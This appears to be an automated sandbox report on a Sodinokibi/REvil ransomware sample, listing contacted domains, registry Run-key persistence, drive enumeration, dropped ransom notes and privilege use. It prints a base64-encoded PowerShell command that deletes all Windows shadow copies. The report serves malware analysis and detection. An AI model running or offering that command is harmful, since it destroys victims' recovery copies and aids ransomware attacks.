DE 92.204.37.106:443 waermetauscher-berechnen.de tcp
DE 92.204.37.106:443 waermetauscher-berechnen.de tcp
US 8.8.8.8:53 firstpaymentservices.com udp
US 144.202.62.148:443 firstpaymentservices.com tcp
US 144.202.62.148:443 firstpaymentservices.com tcp
US 8.8.8.8:53 evangelische-pfarrgemeinde-tuniberg.de udp
DE 85.214.240.85:443 evangelische-pfarrgemeinde-tuniberg.de tcp
US 8.8.8.8:53 brandl-blumen.de udp
DE 176.9.139.29:443 brandl-blumen.de tcp
US 8.8.8.8:53 tandartspraktijkhartjegroningen.nl udp
NL 185.78.250.157:443 tandartspraktijkhartjegroningen.nl tcp
US 8.8.8.8:53 wurmpower.at udp
FR 62.75.155.70:443 wurmpower.at tcp
US 8.8.8.8:53 www.wurmpower.at udp
FR 62.75.155.70:443 www.wurmpower.at tcp
US 8.8.8.8:53 tomaso.gr udp
GB 77.68.4.74:443 tomaso.gr tcp
US 8.8.8.8:53 ra-staudte.de udp
FR 185.21.102.213:443 ra-staudte.de tcp
FR 185.21.102.213:443 ra-staudte.de tcp
US 8.8.8.8:53 crediacces.com udp
DE 217.160.0.85:443 crediacces.com tcp
DE 217.160.0.85:443 crediacces.com tcp
US 8.8.8.8:53 rumahminangberdaya.com udp
US 8.8.8.8:53 vyhino-zhulebino-24.ru udp
US 8.8.8.8:53 bestbet.com udp
US 188.114.96.0:443 bestbet.com tcp
US 8.8.8.8:53 ino-professional.ru udp
RU 77.74.185.33:443 ino-professional.ru tcp
RU 77.74.185.33:443 ino-professional.ru tcp
US 8.8.8.8:53 bouquet-de-roses.com udp
FR 188.165.53.185:443 bouquet-de-roses.com tcp
US 8.8.8.8:53 ianaswanson.com udp
US 67.20.70.156:443 ianaswanson.com tcp
US 67.20.70.156:443 ianaswanson.com tcp
US 8.8.8.8:53 better.town udp
US 8.8.8.8:53 bodyfulls.com udp
US 54.161.222.85:443 bodyfulls.com tcp
US 34.205.242.146:443 bodyfulls.com tcp
US 8.8.8.8:53 yourobgyn.net udp
US 67.20.116.68:443 yourobgyn.net tcp
US 67.20.116.68:443 yourobgyn.net tcp
US 8.8.8.8:53 starsarecircular.org udp
US 185.230.63.107:443 starsarecircular.org tcp
US 185.230.63.107:443 starsarecircular.org tcp
US 8.8.8.8:53 christinarebuffetcourses.com udp
N/A 35.242.240.46:443 tcp
N/A 35.242.240.46:443 tcp
US 8.8.8.8:53 udp
N/A 96.125.178.140:443 tcp

Files

memory/1612-55-0x0000000076921000-0x0000000076923000-memory.dmp

memory/684-56-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

memory/684-58-0x00000000025A0000-0x00000000025A2000-memory.dmp

memory/684-59-0x00000000025A2000-0x00000000025A4000-memory.dmp

memory/684-60-0x00000000025A4000-0x00000000025A7000-memory.dmp

memory/684-57-0x000007FEF3510000-0x000007FEF406D000-memory.dmp

memory/684-61-0x00000000025AB000-0x00000000025CA000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-30 07:56

Reported

2022-01-30 13:09

Platform

win10-en-20211208

Max time kernel

178s

Max time network

158s

Command Line

"C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\mjOObKp0yy = "C:\\Users\\Admin\\AppData\\Local\\Temp\\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe" C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created \??\c:\program files\4p8lv6zd8-readme.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\ConfirmConnect.search-ms C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\GrantSkip.svgz C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\PingBlock.asx C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\RevokeWatch.MTS C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File created \??\c:\program files (x86)\4p8lv6zd8-readme.txt C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\BackupInvoke.vsdm C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\FindSwitch.shtml C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\FormatOptimize.mpe C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\GetTest.ogg C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
File opened for modification \??\c:\program files\PublishCopy.ppsm C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe

"C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
SE 23.52.27.27:80 tcp
SE 23.52.27.27:80 tcp

Files

memory/3180-122-0x0000025581780000-0x00000255817A2000-memory.dmp

memory/3180-123-0x0000025581450000-0x00000255815D0000-memory.dmp

memory/3180-124-0x0000025581450000-0x00000255815D0000-memory.dmp

memory/3180-127-0x0000025599A50000-0x0000025599AC6000-memory.dmp